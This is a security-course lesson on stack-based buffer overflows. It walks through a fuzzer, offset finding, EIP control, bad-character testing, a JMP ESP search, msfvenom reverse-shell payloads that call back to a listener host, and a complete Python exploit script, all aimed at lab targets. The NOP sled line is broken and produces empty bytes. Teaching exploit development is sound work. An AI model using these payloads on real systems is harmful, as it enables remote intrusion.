Buffer Overflow Fundamentals

Understand and exploit classic stack-based buffer overflows — memory layout, EIP control, bad characters, shellcode generation, and exploit development with GDB and pwndbg.

Hard 75m 3 tasks

Learning Objectives

  • Understand stack memory layout: ESP, EBP, EIP, return address
  • Fuzz applications to find buffer overflow crash point
  • Control EIP by finding the exact offset with pattern_create/pattern_offset
  • Identify bad characters and generate shellcode with msfvenom
  • Write a complete stack-based buffer overflow exploit in Python

Memory and Stack Layout

Program memory layout (low to high):
+------------------+
|     Stack        |   grows DOWN, local vars, return addresses
|  (grows down)    |
+------------------+
|                  |
+------------------+
|      Heap        |   grows UP, dynamic allocations (malloc)
|  (grows up)      |
+------------------+
|    .bss          |  uninitialized global vars
+------------------+
|    .data         |  initialized global vars
+------------------+
|    .text         |  program code (executable)
+------------------+

Stack frame for a function call:
High memory
+------------------+
| function args    |  pushed by caller
+------------------+
| return address   |  EIP saved by CALL instruction
+------------------+
| saved EBP        |  old frame pointer
+------------------+
| local variables  |  buffer is here!
+------------------+  ESP (top of stack)
Low memory

Registers:
EIP: Instruction Pointer  address of NEXT instruction to execute
ESP: Stack Pointer  top of current stack
EBP: Base Pointer  reference to current stack frame

How Buffer Overflow Works

// Vulnerable C code:
void vulnerable(char *input) {
    char buffer[64];       // 64-byte buffer on stack
    strcpy(buffer, input); // no bounds check!
    // if input > 64 bytes:
    // buffer overflows → overwrites saved EBP → overwrites return address (EIP)
}

int main() {
    char user_input[512];
    gets(user_input);      // another dangerous function
    vulnerable(user_input);
    return 0;
}

// When function returns:
// CPU executes "ret" → pops return address into EIP
// If we overwrote return address → EIP points to OUR shellcode!

Step-by-Step Exploit Development

Step 1: Crash the Application (Fuzzing)

#!/usr/bin/env python3
# fuzzer.py — find the crash point
import socket

target_ip = "192.168.1.100"
target_port = 9999

payload = b"A" * 100  # start small

for size in range(100, 5000, 100):
    try:
        payload = b"A" * size
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(payload)
        s.close()
        print(f"Sent {size} bytes — no crash")
    except Exception as e:
        print(f"Crashed at approximately {size} bytes!")
        break

Step 2: Find Exact Offset

# Generate unique pattern (Metasploit):
msf-pattern_create -l 3000
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6... (unique 3000-char pattern)

# Send pattern to crash the app
# In GDB/debugger: check EIP value on crash
# EIP = 0x39624138 (example)

# Find the offset:
msf-pattern_offset -l 3000 -q 0x39624138
# Output: Exact match at offset 1978
# This means: at byte 1978, we control EIP!

Step 3: Control EIP

# exploit.py — verify EIP control
import socket

target_ip = "192.168.1.100"
target_port = 9999
offset = 1978

payload = b"A" * offset       # fill buffer
payload += b"B" * 4           # overwrite EIP with 'BBBB' (0x42424242)
payload += b"C" * (3000 - offset - 4)  # rest of buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
# EIP should now be 0x42424242 — we control it!

Step 4: Find Bad Characters

# Bad chars: characters the app filters/corrupts (null 0x00, newline 0x0a, etc.)
# Send all chars 0x01-0xFF and see which are missing/corrupted in memory

badchars_test = bytearray(range(0x01, 0x100))

payload = b"A" * offset
payload += b"B" * 4           # EIP placeholder
payload += bytes(badchars_test)  # all bytes after EIP

# In GDB: examine memory at ESP after crash
# x/256bx $esp
# Compare output to sent bytes — missing/altered = bad chars

Step 5: Find JMP ESP

# We need: a memory address containing "JMP ESP" instruction
# When ret executes: EIP = return_address
# We set return_address = address of "JMP ESP"
# JMP ESP jumps to ESP (where our shellcode is!)

# Find JMP ESP in DLLs/executable (Mona.py in Immunity):
!mona jmp -r esp

# From Linux (pwntools):
from pwn import *
elf = ELF('./vulnerable_binary')
jmp_esp = next(elf.search(asm('jmp esp')))
print(hex(jmp_esp))

# ropper:
ropper --file vulnerable_binary --search "jmp esp"
# Output: 0x080481c3 : jmp esp

Step 6: Generate Shellcode

# msfvenom shellcode (linux/x86 reverse shell, no bad chars):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444     -b '\x00

' -f python -v shellcode
# -b: bad characters to avoid
# -f python: output as Python variable

# Windows shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444     -b '\x00
' -e x86/shikata_ga_nai -f python -v shellcode

Step 7: Final Exploit

#!/usr/bin/env python3
# final_exploit.py
import socket

target_ip = "192.168.1.100"
target_port = 9999

offset = 1978
jmp_esp = 0x080481c3  # address of JMP ESP (little-endian)

# Shellcode generated by msfvenom (replace with actual)
shellcode = (
    b"ÛÀÙt$ô[1ɱ..."  # msfvenom output
)

# NOP sled: 16+ bytes of NOP (0x90) before shellcode
# Ensures shellcode is hit even with slight offset variations
nop_sled = b"" * 16

payload  = b"A" * offset              # fill to return address
payload += jmp_esp.to_bytes(4, 'little')  # overwrite EIP with JMP ESP addr
payload += nop_sled                   # NOPs before shellcode
payload += shellcode                  # reverse shell shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
print("Exploit sent — check listener!")

GDB and pwndbg

# Install pwndbg (enhanced GDB for exploit dev):
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Debug vulnerable binary:
gdb ./vulnerable_binary
(gdb) run $(python3 -c "print('A'*1978 + 'BBBB')")

# After crash:
(gdb) info registers   # check EIP, ESP, EBP
(gdb) x/64bx $esp      # examine 64 bytes at ESP (our shellcode area)
(gdb) x/i $eip         # instruction at EIP

# With pwndbg:
pwndbg> cyclic 3000    # create pattern
pwndbg> cyclic -l 0x62616169  # find offset
pwndbg> checksec       # check binary protections (NX, ASLR, PIE, stack canary)

Modern Mitigations

ASLR (Address Space Layout Randomization): randomizes base addresses
 Bypass: info leak, brute force, return-to-libc

NX/DEP (Non-Executable stack): stack is not executable
 Bypass: Return-Oriented Programming (ROP gadgets)

Stack Canary: random value on stack before return address
 Bypass: info leak the canary value

PIE (Position Independent Executable): code at random address
 Bypass: leak code address, calculate offsets

Stack protections make exploitation much harder:
gcc -fstack-protector-all  stack canary
-z noexecstack  NX stack
-pie -fPIE  PIE

Analyze stack memory layout: (1) compile a simple C program with overflow: gcc -fno-stack-protector -m32 -o vuln vulnerable.c, (2) open in GDB with pwndbg, (3) set a breakpoint inside the vulnerable function, (4) run and examine the stack: x/32xw $esp, (5) identify: local buffer, saved EBP, return address, (6) manually calculate: how many bytes to reach the return address?

✦ Answer the questions to complete this task

Why must you compile with -fno-stack-protector for BOF exercises?

What does EIP contain during normal program execution?

Complete TryHackMe Buffer Overflow Prep room (authorized practice): (1) find the exact offset using Metasploit pattern, (2) verify EIP control (overwrite with 'BBBB'), (3) find bad characters by sending 0x01-0xFF, (4) find a JMP ESP address in the target binary, (5) generate msfvenom shellcode with bad chars excluded, (6) write and send the final exploit, (7) catch the reverse shell.

✦ Answer the questions to complete this task

What is a NOP sled and why is it used in buffer overflow exploits?

Write a complete exploit for a vulnerable echo server (lab environment): (1) write Python fuzzer to crash the server, (2) use pattern_create/offset to find exact offset, (3) verify EIP control, (4) find bad chars (test each byte), (5) find JMP ESP gadget, (6) generate msfvenom shellcode, (7) assemble final exploit: padding + JMP_ESP_addr + NOP_sled + shellcode, (8) test and get a reverse shell.

✦ Answer the questions to complete this task

Why does the exploit use the address in little-endian format?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Buffer Overflow MCQ

Buffer Overflow MCQ

Start →
⚙️ Practical Medium +30 XP

Complete Buffer Overflow Exploit

Complete Buffer Overflow Exploit

Start →
🚩 Challenge Hard +50 XP

Control the Instruction Pointer

Control the Instruction Pointer

Start →